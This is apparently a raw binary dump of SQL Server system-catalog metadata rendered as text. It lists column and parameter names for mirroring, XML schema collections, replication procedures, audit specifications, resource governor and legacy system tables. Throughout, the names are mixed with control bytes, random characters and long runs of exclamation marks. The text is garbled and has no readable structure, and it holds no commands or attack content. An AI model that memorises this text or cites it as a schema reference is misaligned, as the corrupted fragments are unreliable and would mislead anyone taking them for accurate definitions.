_differential_base_lsn0-($$adifferential_base_guid0-(==adifferential_base_time0-(ll

Qredo_start_lsn0-($$]redo_start_fork_guid0-(ll

Sredo_target_lsn0-($$_redo_target_fork_guid0-(ll

Ibackup_lsn0-)4=name0-)00=type0-)xxGtype_desc0-)Ophysical_name0-*4Odatabase_name0-*4_principal_server_name0-*4Ymirror_server_name0-*00Msafety_level0-*xxWsafety_level_desc0-*88
asafety_sequence_number0-*88
]role_sequence_number0-*$$Qmirroring_guid0-*	$$Kfamily_guid0-*
hhMis_suspended0-*88
mis_suspended_sequence_number0-*00Ypartner_sync_state0-*
xxcpartner_sync_state_desc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!I`KFa$?>|
}
8
CV

J

		0	e"- ?3Di,r-`-H)@4I
0-<88
Uxml_component_id0-<88
Wxml_collection_id0-<88
Uxml_namespace_id0-<hhMis_qualified0-<@@=name0-<Msymbol_space0-<xxWsymbol_space_desc0-<=kind0-<	xxGkind_desc0-<
Iderivation0-<xxSderivation_desc0-<88
_base_xml_component_id0-<
88
escoping_xml_component_id0-<hhKis_abstract0-<hh]allows_mixed_content0-<hh]is_extension_blocked0-<hhais_restriction_blocked0-<hhYis_final_extension0-<hh]is_final_restriction0-<hh]is_final_list_member0-<hh_is_final_union_member0-=88
Uxml_component_id0-=88
Wxml_collection_id0-=88
Uxml_namespace_id0-=hhMis_qualified0-=@@=name0-=Msymbol_space0-=xxWsymbol_space_desc0-==kind0-=	xxGkind_desc0-=
Iderivation0-=xxSderivation_desc0-=88
_base_xml_component_id0-=
88
escoping_xml_component_id0->88
Wxml_collection_id0->@@=name0->88
Uxml_namespace_id0-?00?class0-?xxIclass_desc0-?88
Emajor_id0-?88
Eminor_id0-?=name0-?bbPP?value0-@88
Cfile_id0-@$$Gfile_guid0-@00=type0-@xxGtype_desc0-@88
Odata_space_id0-@=name0-@Ophysical_name0-@00?state0-@	xxIstate_desc0-@
88
=size0-@88
Emax_size0-@88
Agrowth0-@
hhYis_media_read_only0-@hhMis_read_only0-@hhGis_sparse0-@hhWis_percent_growth0-@hhUis_name_reserved0-@ll

Icreate_lsn0-@ll

Edrop_lsn0-@ll

Oread_only_lsn0-@ll

Qread_write_lsn0-@ll

_differential_base_lsn0-@$$adifferential_base_guid0-@==adifferential_base_time0-@ll

Qredo_start_lsn0-@$$]redo_start_fork_guid0-@ll

Sredo_target_lsn0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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!QB/0Mb	Fo2_

Y

G^

G
		z	#	LK2xs\8a`-<)N: !I0-888
Uxml_component_id0-888
Wxml_collection_id0-888
Uxml_namespace_id0-8hhMis_qualified0-8@@=name0-8Msymbol_space0-8xxWsymbol_space_desc0-8=kind0-8	xxGkind_desc0-8
Iderivation0-8xxSderivation_desc0-888
_base_xml_component_id0-8
88
escoping_xml_component_id0-8hhUis_default_fixed0-8hhWmust_be_qualified0-8@@Odefault_value0-988
Uxml_component_id0-988
Wxml_collection_id0-988
Uxml_namespace_id0-9hhMis_qualified0-9@@=name0-9Msymbol_space0-9xxWsymbol_space_desc0-9=kind0-9	xxGkind_desc0-9
Iderivation0-9xxSderivation_desc0-988
_base_xml_component_id0-9
88
escoping_xml_component_id0-9Icompositor0-9xxScompositor_desc0-:88
Uxml_component_id0-:88
Wxml_collection_id0-:88
Uxml_namespace_id0-:hhMis_qualified0-:@@=name0-:Msymbol_space0-:xxWsymbol_space_desc0-:=kind0-:	xxGkind_desc0-:
Iderivation0-:xxSderivation_desc0-:88
_base_xml_component_id0-:
88
escoping_xml_component_id0-:hhUis_default_fixed0-:hhKis_abstract0-:hhKis_nillable0-:hhWmust_be_qualified0-:hh]is_extension_blocked0-:hhais_restriction_blocked0-:hhcis_substitution_blocked0-:hhYis_final_extension0-:hh]is_final_restriction0-:@@Odefault_value0-;88
Uxml_component_id0-;88
Efacet_id0-;=kind0-;xxGkind_desc0-;hhEis_fixed0-;@@?value!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o2I0r0
l

Lk
r

			j!Fons\8a`-*)
	0-}=name0-}88
Gobject_id0-}88
Mprincipal_id0-}88
Gschema_id0-}88
Uparent_object_id0-}=type0-}xxGtype_desc0-}==Kcreate_date0-}	==Kmodify_date0-}
hhOis_ms_shipped0-}hhMis_published0-}hh[is_schema_published0-}
hhOis_replicated0-}hhahas_replication_filter0-}hh[has_opaque_metadata0-}hhkhas_unchecked_assembly_data0-}hhWwith_check_option0-}hheis_date_correlation_view0-}hhWis_tracked_by_cdc0-~=name0-~88
Gobject_id0-~88
Mprincipal_id0-~88
Gschema_id0-~88
Uparent_object_id0-~=type0-~xxGtype_desc0-~==Kcreate_date0-~	==Kmodify_date0-~
hhOis_ms_shipped0-~hhMis_published0-~hh[is_schema_published0-~
88
Wlob_data_space_id0-~88
efilestream_data_space_id0-~88
Ymax_column_id_used0-~hhWlock_on_bulk_load0-~hhSuses_ansi_nulls0-~hhOis_replicated0-~hhahas_replication_filter0-~hhYis_merge_published0-~hhcis_sync_tran_subscribed0-~hhkhas_unchecked_assembly_data0-~88
Wtext_in_row_limit!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!{

TQ

<
		=	X8gT-6Q
x1`-;)W3ݫ0-188
Wxml_collection_id0-188
Gschema_id0-188
Mprincipal_id0-1=name0-1==Kcreate_date0-1==Kmodify_date0-2$$[conversation_handle0-2Sto_service_name0-2Yto_broker_instance0-2Wfrom_service_name0-2_service_contract_name0-2==Menqueue_time0-2cmessage_sequence_number0-2Wmessage_type_name0-2	hh_is_conversation_error0-2
hhUis_end_of_dialog0-2@Mmessage_body0-2@@[transmission_status0-2
00Epriority0-3=name0-388
Eroute_id0-388
Mprincipal_id0-3[remote_service_name0-3Sbroker_instance0-3==Elifetime0-3Caddress0-3Qmirror_address0-4=name0-488
gremote_service_binding_id0-488
Mprincipal_id0-4[remote_service_name0-488
[service_contract_id0-488
[remote_principal_id0-4hhSis_anonymous_on0-588
Uxml_component_id0-588
Mplacement_id0-588
cplaced_xml_component_id0-5hhUis_default_fixed0-588
Qmin_occurences0-588
Qmax_occurences0-5@@Odefault_value0-688
Uxml_component_id0-6@@Gnamespace0-788
Uxml_component_id0-788
Wxml_collection_id0-788
Uxml_namespace_id0-7hhMis_qualified0-7@@=name0-7Msymbol_space0-7xxWsymbol_space_desc0-7=kind0-7	xxGkind_desc0-7
Iderivation0-7xxSderivation_desc0-788
_base_xml_component_id0-7
88
escoping_xml_component_id0-7Sprocess_content0-7xx]process_content_desc0-7hh[disallow_namespaces!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_id0-"88
Smessage_type_id0-"88
Wxml_collection_id0-#88
Gobject_id0-#88
Mparameter_id0-#88
Wxml_collection_id0-$88
Gobject_id0-$88
Gcolumn_id0-$88
Wxml_collection_id0-+=name0-+88
Mprincipal_id0-+88
Wasymmetric_key_id0-+cpvt_key_encryption_type0-+xxmpvt_key_encryption_type_desc0-+  Ithumbprint0-+Galgorithm0-+xxQalgorithm_desc0-+	88
Ikey_length0-+
UU;sid0-+Istring_sid0-+@Ipublic_key0-+
Kattested_by0-+xxOprovider_type0-+$$kcryptographic_provider_guid0-+bbPPmcryptographic_provider_algid0-,=name!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-LW)-%X80-p	xx_referenced_class_desc0-p
areferenced_server_name0-pereferenced_database_name0-pareferenced_schema_name0-p
areferenced_entity_name0-p88
Oreferenced_id0-p88
[referenced_minor_id0-p_referenced_minor_name0-phh[is_caller_dependent0-phhMis_ambiguous0-phhKis_selected0-phhIis_updated0-phhOis_select_all0--Gcpu_ticks0--Ems_ticks0--88
Gcpu_count0--88
Whyperthread_ratio0--Yphysical_memory_kb0--Wvirtual_memory_kb0--Mcommitted_kb0--[committed_target_kb0--	Wvisible_target_kb0--
88
[stack_size_in_bytes0--Ios_quantum0--88
Oos_error_mode0--
88
Wos_priority_class0--88
Wmax_workers_count0--88
Sscheduler_count0--88
_scheduler_total_count0--88
qdeadlock_monitor_serial_number0--osqlserver_start_time_ms_ticks0--==]sqlserver_start_time0--88
Oaffinity_type0--x4xYaffinity_type_desc0--aprocess_kernel_time_ms0--]process_user_time_ms0--88
Ktime_source0--x4xUtime_source_desc0--88
]virtual_machine_type0--x4xgvirtual_machine_type_desc0-V`1x4xOresource_type0-V`1x4xUresource_subtype0-V`188
]resource_database_id0-V`14]resource_description0-V`1oresource_associated_entity_id0-V`188
cresource_lock_partition0-V`1x4xMrequest_mode0-V`1x4xMrequest_type0-V`1	x4xQrequest_status0-V`1
44crequest_reference_count0-V`188
Urequest_lifetime0-V`188
Yrequest_session_id0-V`1
88
crequest_exec_context_id0-V`188
Yrequest_request_id0-V`1x4xYrequest_owner_type0-V`1Urequest_owner_id0-V`1$$Yrequest_owner_guid0-V`1@4@irequest_owner_lockspace_id0-V`1Ylock_owner_address0-74Kobject_name0-74Mcounter_name0-74Oinstance_name0-7Icntr_value0-788
Gcntr_type0-788
Kpdw_node_id0-fH@M@publication0-fH@E@article0-fH@44Q@rowcount_only0-fH@00O@full_or_fast0-fH@hhS@shutdown_agent0-fH@hh[@subscription_level0-fH@88
G@reserved0-fH@I@publisher0-fH@	S@publisher_type0-\Dhha@closed_high_end_point0-\DM@column_list0-\DW@update_flag_list0-_2M@publication0-_2K@subscriber0-_2Q@subscriber_db0-_2K@web_server0-@H$$A@pubid0-@H88
]@compatibility_level0--$$A@repid0--C@srcgen0--$$E@srcguid0-$$A@pubidx4xYaffinity_type_desc0--aprocess_kernel_time_ms0--]process_user_time_ms0--88
Ktime_source0--x4xUtime_source_desc0--88
]virtual_machine_type0--x4x}Dad6W
2IfO:)>l]
J
MD
x

	U	X]^g"\CPG `}-")	+yd0-G88
Uconfiguration_id0-GF4F=name0-GbbPP?value0-GbbPPCminimum0-GbbPPCmaximum0-GbbPPMvalue_in_use0-G4Kdescription0-GhhIis_dynamic0-G	hhKis_advanced0-G
hhIis_not_use0-E@objname-@0-@C@prefix0-88
Q@truncated_len0-C@dbname0-
?@type0-oM@distributor0-oG@password0-kI@publisher0-kE@dist_db0-k88
Q@security_mode0-kM@remotelogin0-kS@remotepassword0-k88
U@connect_timeout0-k==_@distributortimestamp0-k$$S@publisher_guid0-/S@monitor_server0-/;@p10-/;@p20-/$$;@p30-/88
;@p40-/hh;@p50-/;@p60-/==;@p7A@scale0-S@collation_name0-hhU@is_xml_document0-88
Y@xml_collection_id0-GTYPE_NAME0-44GDATA_TYPE0-44MDATA_TYPE_900-44MDATA_TYPE_280-88
KCOLUMN_SIZE0-88
QCOLUMN_SIZE_280-@@QLITERAL_PREFIX0-@@QLITERAL_SUFFIX0-	@@OCREATE_PARAMS0-
@@UCREATE_PARAMS_900-hhKIS_NULLABLE0-hhQCASE_SENSITIVE0-
88
ISEARCHABLE0-00YUNSIGNED_ATTRIBUTE0-hhUFIXED_PREC_SCALE0-00WAUTO_UNIQUE_VALUE0-SLOCAL_TYPE_NAME0-44OMINIMUM_SCALE0-44UMINIMUM_SCALE_900-44OMAXIMUM_SCALE0-44UMAXIMUM_SCALE_900-$$=GUID0-CTYPELIB0-CVERSION0-hhCIS_LONG0-hhIBEST_MATCH0-hhOBEST_MATCH_900-hhOBEST_MATCH_280-hhQIS_FIXEDLENGTH0-hhWIS_FIXEDLENGTH_900-44WMANAGED_DATA_TYPE0-J8USPECIFIC_CATALOG0-J8SSPECIFIC_SCHEMA0-J8OSPECIFIC_NAME0-J888
UORDINAL_POSITION0-J8QPARAMETER_MODE0-J8GIS_RESULT0-J8IAS_LOCATOR0-J8QPARAMETER_NAME0-J8	GDATA_TYPE0-J8
88
eCHARACTER_MAXIMUM_LENGTH0-J888
aCHARACTER_OCTET_LENGTH0-J8WCOLLATION_CATALOG0-J8
UCOLLATION_SCHEMA0-J8QCOLLATION_NAME0-J8_CHARACTER_SET_CATALOG0-J8]CHARACTER_SET_SCHEMA0-J8YCHARACTER_SET_NAME0-J800WNUMERIC_PRECISION0-J844cNUMERIC_PRECISION_RADIX0-J888
ONUMERIC_SCALE0-J844YDATETIME_PRECISION0-J8<<OINTERVAL_TYPE0-J844YINTERVAL_PRECISION0-J8gUSER_DEFINED_TYPE_CATALOG0-J8eUSER_DEFINED_TYPE_SCHEMA0-J8aUSER_DEFINED_TYPE_NAME0-J8OSCOPE_CATALOG0-J8MSCOPE_SCHEMA0-J8ISCOPE_NAME-V0-VC@hexstr-@0-@C@prefix0-88
Q@truncated_len0-C@dbname0-
y6 x+Lq,	L		`%Ot1`-4M)1@h20-88
Eaudit_id0-4=name0-$$Iaudit_guid0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-=type0-xxGtype_desc0-	00Ion_failure0-
xxSon_failure_desc0-hhUis_state_enabled0-88
Kqueue_delay0-
ppGpredicate0-88
Kdatabase_id0-00Yis_auto_cleanup_on0-88
Uretention_period0-00aretention_period_units0-xxkretention_period_units_desc0-[max_cleanup_version0-88
Mprincipal_id0-88
Ocredential_id0-88
Kprovider_id0-4=name0-$$=guid0-00Cversion0-Edll_path0-hhIis_enabled0-88
aclassifier_function_id0-hhIis_enabled0-88
Cpool_id0-4=name0-88
Smin_cpu_percent0-88
Smax_cpu_percent0-88
Ymin_memory_percent0-88
Ymax_memory_percent0-88
Scap_cpu_percent0-88
Egroup_id0-4=name0-Iimportance0-88
urequest_max_memory_grant_percent0-88
erequest_max_cpu_time_sec0-88
urequest_memory_grant_timeout_sec0-88
Cmax_dop0-88
Ygroup_max_requests0-	88
Cpool_id0-88
Uevent_session_id0-=name0-]event_retention_mode0-xxgevent_retention_mode_desc0-88
]max_dispatch_latency0-88
Imax_memory0-88
Qmax_event_size0-_memory_partition_mode0-	xximemory_partition_mode_desc0-
hhStrack_causality0-hhOstartup_state0-88
Uevent_session_id0-88
Eevent_id0-=name0-Cpackage0-Amodule0-ppGpredicate0-4@Opredicate_xml0-88
Uevent_session_id0-88
Gtarget_id0-=name0-Cpackage0-Amodule0-88
Uevent_session_id0-88
Eevent_id0-=name0-Cpackage0-Amodule0-88
Uevent_session_id0-88
Gobject_id0-=name0-bbPP?valuemory_percent0-88
Scap_cpu_percent0-88
Egroup_id0-4=name0-Iimportance0-88
urequest_max_memory_grant_percent0-88
erequest_max_cpu_time_sec0-88
urequest_memory_grant_timeout_sec0-88
Cmax_dop0-88
Ygroup_max_requests0-	88
Cpool_id0-4Qcomponent_name0-Odatabase_name0-Kschema_name0-Kobject_name0-00?state0-=type0-88
Uevent_session_id0-=name0-]event_retention_mode0-xxgevent_retention_mode_desc0-88
]max_dispatch_latency0-88
Imax_memory0-88
Qmax_event_size0-_memory_partitioT:GAn1y2J1$5g

V
|<

7
		T		Y5o`.Kv+`a-D)
S0-xxGtype_desc0-==Kcreate_date0-	==Kmodify_date0-
hhOis_ms_shipped0-hhMis_published0-hh[is_schema_published0-
bbPPKstart_value0-bbPPGincrement0-bbPPOminimum_value0-bbPPOmaximum_value0-hhIis_cycling0-hhGis_cached0-88
Icache_size0-00Qsystem_type_id0-88
Muser_type_id0-00Gprecision0-00?scale0-bbPPOcurrent_value0-hhMis_exhausted0-88
Uproperty_list_id0-88
Kproperty_id0-Oproperty_name0-$$Wproperty_set_guid0-88
Sproperty_int_id0-]property_description0-88
Uproperty_list_id0-=name0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-88
Kstoplist_id0-Estopword0-4Elanguage0-88
Klanguage_id0-88
Kstoplist_id0-=name0-==Kcreate_date0-==Kmodify_date0-88
Mprincipal_id0-	88
Etable_id0-	88
Kfragment_id0-	88
Yfragment_object_id0-	Gtimestamp0-	88
Astatus0-	Gdata_size0-	Grow_count0-88
gdatabase_specification_id0-=name0-==Kcreate_date0-==Kmodify_date0-$$Iaudit_guid0-hhUis_state_enabled0-
88
gdatabase_specification_id0-
Saudit_action_id0-
xxWaudit_action_name0-
00?class0-
xxIclass_desc0-
88
Emajor_id0-
88
Eminor_id0-
88
]audited_principal_id0-
	xxQaudited_result0-

hhEis_group0-88
Kpriority_id0-=name0-88
[service_contract_id0-88
Ulocal_service_id0-[remote_service_name0-00Epriority!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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_bound0-hhcuses_database_collation0-hhOis_recompiled0-hhYnull_on_null_input0-	88
cexecute_as_principal_id0-=name0-88
9id0-00?xtype0-00Etypestat0-44Gxusertype0-44Alength0-}88
Cconstid0-}88
Afkeyid0-}88
Arkeyid0-}44=fkey0-}44=rkey0-}44?keyno0-~88
9id0-~88
?depid0-~44Anumber0-~44Gdepnumber0-~44Astatus0-~00Cdeptype0-~44Cdepdbid0-~44Gdepsiteid0-~	hhAselall0-~
hhGresultobj0-~hhCreadobj0-88
9id0-44Anumber0-44?colid0-44Astatus0-@@?ctext0-44Etexttype0-44Elanguage0-hhGencrypted0-	hhIcompressed0-
@@=text!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!n-p/p+`?-0a)=F0-t44Astatus0-t=name0-tUU;sid0-t?roles0-t==Icreatedate0-t==Iupdatedate0-t44Aaltuid0-t	Epassword0-t
44;gid0-tCenviron0-t88
Khasdbaccess0-t
88
Cislogin0-t88
Eisntname0-t88
Gisntgroup0-t88
Eisntuser0-t88
Gissqluser0-t88
Gisaliased0-t88
Gissqlrole0-t88
Gisapprole0-u=name0-u00?xtype0-u00Astatus0-u44Gxusertype0-u44Alength0-u00?xprec0-u00Axscale0-u88
Etdefault0-u	88
Adomain0-u
44;uid0-u44Ereserved0-u88
Kcollationid0-u
44Eusertype0-uhhEvariable0-uhhIallownulls0-u00=type0-uEprintfmt0-u44=prec0-u00?scale0-uGcollation0-v88
Cconstid0-v88
Afkeyid0-v88
Arkeyid0-v44Grkeyindid0-v44Akeycnt0-v  Cforkeys0-v  Crefkeys0-v44Efkeydbid0-v	44Erkeydbid0-v
44?fkey10-v44?fkey20-v44?fkey30-v
44?fkey40-v44?fkey50-v44?fkey60-v44?fkey70-v44?fkey80-v44?fkey90-v44Afkey100-v44Afkey110-v44Afkey120-v44Afkey130-v44Afkey140-v44Afkey150-v44Afkey160-v44?rkey10-v44?rkey20-v44?rkey30-v44?rkey40-v44?rkey50-v44?rkey60-v 44?rkey70-v!44?rkey80-v"44?rkey90-v#44Arkey100-v$44Arkey110-v%44Arkey120-v&44Arkey130-v'44Arkey140-v(44Arkey150-v)44Arkey160-w88
9id0-w44;uid0-w00Aaction0-w00Kprotecttype0-w@@Ccolumns0-w44Cgrantor0-x88
9id0-x44Cgrantee0-x44Cgrantor0-x44Aactadd0-x44Aactmod0-xAseladd0-xAselmod0-xAupdadd0-x	Aupdmod0-x
Arefadd0-xArefmod?rkey90-v#44Arkey100-v$44Arkey110-v%44Arkey120-v&44Arkey130-v'44Arkey140-v(44Arkey150-v)44Arkey160-w88
9id0-w44;uid0-w00Aaction0-w00Kprotecttype0-w@@Ccolumns0-w44Cgrantor0-x88
9id0-x44Cgrantee0-x44Cgrantor0-x44Aactadd0-x44Aactmod0-xAseladd0-xAselmod0-xAupdadd0-x	Aupdmod0-x
ArefaddP

Kz9v5v3d)n-j)l-p1p/l+n/

r
3
j'\

P

		R			4s.m&i"M|9p+X`r])  [6ն&validation6ն0validation_desc6ն4xml_collection_id6(@ProviderId6*algorithm_id6,algorithm_tag6"key_type6&key_length6*group_handle60unique_compiles6&user_seeks6&user_scans6.last_user_seek6.last_user_scan68avg_total_user_cost60avg_user_impact6	*system_seeks6
*system_scans62last_system_seek62last_system_scan6
<avg_total_system_cost64avg_system_impact6r.@database_name6r$@alert_id6/"NodeName6/status6/6status_description6/2is_current_owner6/(pdw_node_id6JcY(pdw_node_id6JcY*component_id6JcY<component_instance_id6JcY"alert_id6JcY4alert_instance_id6JcY.previous_value6JcY,current_value6JcY(create_time6_n*@server_name6%&@object_id6%0@qualified_name6S@qv6C"@errorid6C @param16C @param26
0@bOutput_params6_^.@source_object6_^ @column6_^(@from_agent6_^<@schema_change_script6_^F@force_invalidate_snapshot6_^F@force_reinit_subscription6u(@subscriber6u&@publisher6$M&@publisher6$M2@distribution_db6$M.@security_mode6$M@login6$M$@password6$M6@working_directory6$M"@trusted6$M8@encrypted_password6$M	2@thirdparty_flag6$M
0@publisher_type6Ѕ(@table_name6Ѕ*@table_owner6&@publisher6`4*@publication6`4"@article6*@publication6@found6&@publisherF 6F "@command6W@artid6W @format6W@mode6W.@publishertype6W&@publisher6W&@usesqlclr6@type6@value6*@publication6"@article6,@publisher_id6,@publisher_db6"@xact_id6(@xact_seqno6(@originator6.@originator_db6(@article_id6(@command_id6	@type6
2@partial_command6"@command6&@publisher6.@publicationid6&@articleid6,@command_type6"@command6&@publisher6T.$@agent_id6T.(@agent_type6T.0@publication_id6T.6@raise_fatal_error60fp2p_pub_exists6db_ver66comp_range_address62textinfo_address6.fsinfo_address6$begin_lsn6&commit_lsn6dbid6	rows6
xdesid6>artcache_table_address6server6
